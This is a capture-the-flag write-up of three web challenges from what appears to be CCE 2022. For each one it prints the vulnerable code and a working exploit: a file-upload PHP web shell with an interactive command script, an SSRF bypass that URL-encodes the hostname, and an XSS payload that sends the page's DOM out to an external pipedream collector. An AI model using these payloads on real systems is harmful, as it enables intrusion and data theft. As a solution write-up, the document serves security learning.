After a long time I did ctf again. Actually, a few days ago, 김지섭님, a member of zer0pt, asked me to do CCE together, but I refused. The reason was because of work.

But I was able to find 5 XSS from ** by concentrating on my work. And maybe if i was with him, it would have been the first and lst CCE general finals of my life XD


reborn of php

The reborn of php is challenge that triggers RCE via file upload. And the flag location is /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php if(!defined('__MAIN__')) exit; ?>
<?php
class Controller {
private $board = '';
private $action = '';

function __construct($board, $action) {
$this->board = $board;
$this->action = $action;

if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
$this->board = 'main';
$this->action = 'index';
}
}

function process() {
$path = "{$this->board}/{$this->action}";

if(preg_match('/php|html/i', $path)){
alert('not invalid', 'back');
}

chdir('pages/');
if(!file_exists("{$path}.php")) $path = 'main/index';
include("{$path}.php");
}
}
// /var/www/html/lib/controller.lib.php
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
define('__MAIN__', true);
include('lib/controller.lib.php');
include('lib/util.lib.php');

$board = $_GET['b'] ? $_GET['b'] : 'main' ;
$action = $_GET['a'] ? $_GET['a'] : 'index';

$controller = new Controller($board, $action);
$controller->process();

// /var/www/html/index.php
?>

This is code of index.php and controller.lib.php. In the index.php, It takes parameters and passes them to the Controller constructor. An LFI vulnerability exists in the process() method of Controller. If we can create arbitrary php files on the server we can trigger RCE.

1
2
3
4
5
6
function save_user_id($id, $pw){
chdir('../');
file_put_contents("dbs/{$id}", serialize($pw));
}

// /var/www/html/lib/util.lib.php

A vulnerability exists in the save_user_id() function that can create arbitrary files. Also, this function is fired when registering as a member. And the file creation path is under /var/www/html/dbs/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php if(!defined('__MAIN__')) die('Access denied'); ?>

<?php
$id = $_POST['id'];
$pw = $_POST['pw'];

if(!$id || !$pw) alert('invalid input', 'back');

if(!is_valid_id($id)) alert('invalid id', 'back');

if(is_exists_user($id)){
alert('already joined', 'back');
}

save_user_id($id, $pw);

alert('welcome', '/');
// /var/www/html/pages/register.php
?>

We can upload the PHP file because we do not validate the user id parameter in the signup logic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests 
import string
import random

CHALLURL = "http://3.37.8.189:5580"

LENGTH = 5
CONTENT = "<?php echo system($_GET['x']);?>"
string_pool = string.digits
filename = ""

for i in range(LENGTH):
filename += random.choice(string_pool)

FILENAME = filename + '.php'
print(f'[+] FILANAME : {FILENAME}')

requests.post(CHALLURL + "/?b=register&a=register", data={'id':FILENAME, 'pw':CONTENT})

while(1):
payload = input("[+] Enter the command : ")
RESULT = requests.get(CHALLURL + f'/?b=login&a=../../dbs/{filename}&x={payload}').text
print(RESULT)

I wrote the exploit code as above.

1
2
3
4
5
6
7
8
9
10
❯ python3 poc.py   
[+] FILANAME : 37106.php
[+] Enter the command : id

s:32:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)";
[+] Enter the command : cat /flag

s:32:"cce2022{ce9237924b58afdf2a164345ddd8265e49f210abc75ab12002eb6f6a32109d293a992b99214eae312f9f33131458dbc0e8c17485364fec867a241b1b}
cce2022{ce9237924b58afdf2a164345ddd8265e49f210abc75ab12002eb6f6a32109d293a992b99214eae312f9f33131458dbc0e8c17485364fec867a241b1b}";

BabyWeb

This is a challenge of SSRF using different URL parsing methods.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/', methods=['GET','POST'])
def index():
if request.method == "POST":
try:
url = request.form['url']
result = urllib.parse.urlparse(url)
if result.hostname == 'flag.service':
return "Not allow"
else:
if(valid_ip(result.hostname)):
return "huh??"
else:
return requests.get("http://"+result.hostname+result.path, allow_redirects=False).text
except:
return "Something wrong..."
elif request.method == "GET":
return data

Looking at the code, hostname should not be flag.service. And it must be a valid IP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version: '3'
services:
challenge:
build:
context: .
dockerfile: ./public/Dockerfile
ports:
- "80:80"
links:
- flag.service
flag.service:
build:
context: .
dockerfile: ./internal/Dockerfile

However, since the URL of the internal server is flag.service, you need to send a request to flag.service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask import request
from secret import FLAG

app = Flask(__name__)


@app.route('/flag', methods=['GET'])
def index():
if request.host == "flag.service":
return FLAG
else:
return "Nice try :)"

if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)

We can get the flags by sending a request to http://flag.service/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

CHALLURL = 'http://localhost/' # http://3.38.33.163/
hostname = ''
parse_hostname = list('flag.service')

for s in parse_hostname:
hostname += hex(ord(s)).replace('0x','%')

url = f'http://{hostname}/flag'
print(url)

FLAG = requests.post(CHALLURL, data={'url':url}).text
print(f'FLAG is {FLAG}')

'''
http://%66%6c%61%67%2e%73%65%72%76%69%63%65/flag
FLAG is cce2022{this_is_not_real_flag}
'''

This can be easily solved as above. When parsing a url, the hostname is parsed in the url-encoded state, but when sending a request, the url-encoded hostname is decoded.


blue archive - web

This is a challenge for using simple XSS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const crypto = require('crypto');
const fs = require('fs');
const moment = require('moment');
const puppeteer = require('puppeteer');

const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
const config = require('./config');

async function saveArchive(url) {
const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
if (!fs.existsSync(archive_dir))
fs.mkdirSync(archive_dir);

const timestamp = moment().format('YYYYMMDDHHmmssSSS');
const archive_path = `${archive_dir}/${timestamp}.${config.ARCHIVE_EXT}`;
const browser = await puppeteer.launch({
executablePath: './chrome/chrome',
ignoreDefaultArgs: true,
args: [
'--headless',
'--diable-gpu',
'--disable-dev-shm-usage',
'--ignore-certificate-errors',
'--hide-scrollbars',
'--window-size=1280,720',
"--js-flags=--noexpose_wasm,--jitless"
],
});
const page = await browser.newPage();
await page.goto(sandbox_url + url, { timeout: 3000 });
await new Promise(resolve => setTimeout(resolve, 3000));
await page.screenshot({
fullPage: true,
path: archive_path,
});
await browser.close();
}

module.exports = { saveArchive };

// /app/lib.js

There is a function called saveArchive() in lib.js. This function uses puppeteer to open an arbitrary browser in the background. After that, the file-related logic is moved to the sandbox url after execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
router.post('/archiveSave', async (req, res) => {
const { url } = req.body;

if (typeof url !== 'string' ||
!(url.startsWith('http://') || url.startsWith('https://')))
return res.status(400).render('index', { error : 'Invalid URL.' });

try {
await saveArchive(url);
return res.status(200).render('index', { success : `Sucessfully saved archive for ${url}` });
} catch (e) {
console.log(e)
return res.status(500).render('index', { error : 'Oops, an unknown error has occured.' });
}
});

// /app/route/routes.js

The saveArchive() function is called when creating an archive.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const express = require('express')
const { encode } = require("html-entities");

const app = express()

app.get('/', function (req, res) {
data = `<html>
<head><title>sandbox</title></head>
<body>
<script>
FLAG = "cce2022{this_is_not_real_flag}"
</script>
<iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe>
</body>
</html>`
res.setHeader("Content-Type","text/html").send(data);
})

app.listen(process.env.PORT);

// /sandbox/src/index.js

When I checked the code of /sandbox/src/index.js, I could see that there was a FLAG in the Dom. And it gets the value of the url parameter from the iframe part and passes it as the value of src as it is. We can trigger XSS because we can manipulate the value of src at will.

The structure of the dome is as above. The vulnerability occurs in Iframes. But the flag is in Parent Dom.

So we must read the value of window.parent.document.body. If the value of document.body is read, the document of the only iframe is read.

1
http://sandbox.bluearchive.kr:31337/?url=javascript:location.href=%2527https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/%2527%252Bbtoa(window.parent.document.body.innerHTML)

We can get the flags by sending the above payload to the archive creation logic

1
cce2022{65f6d035ca6640b9ac8e19ff725a747f}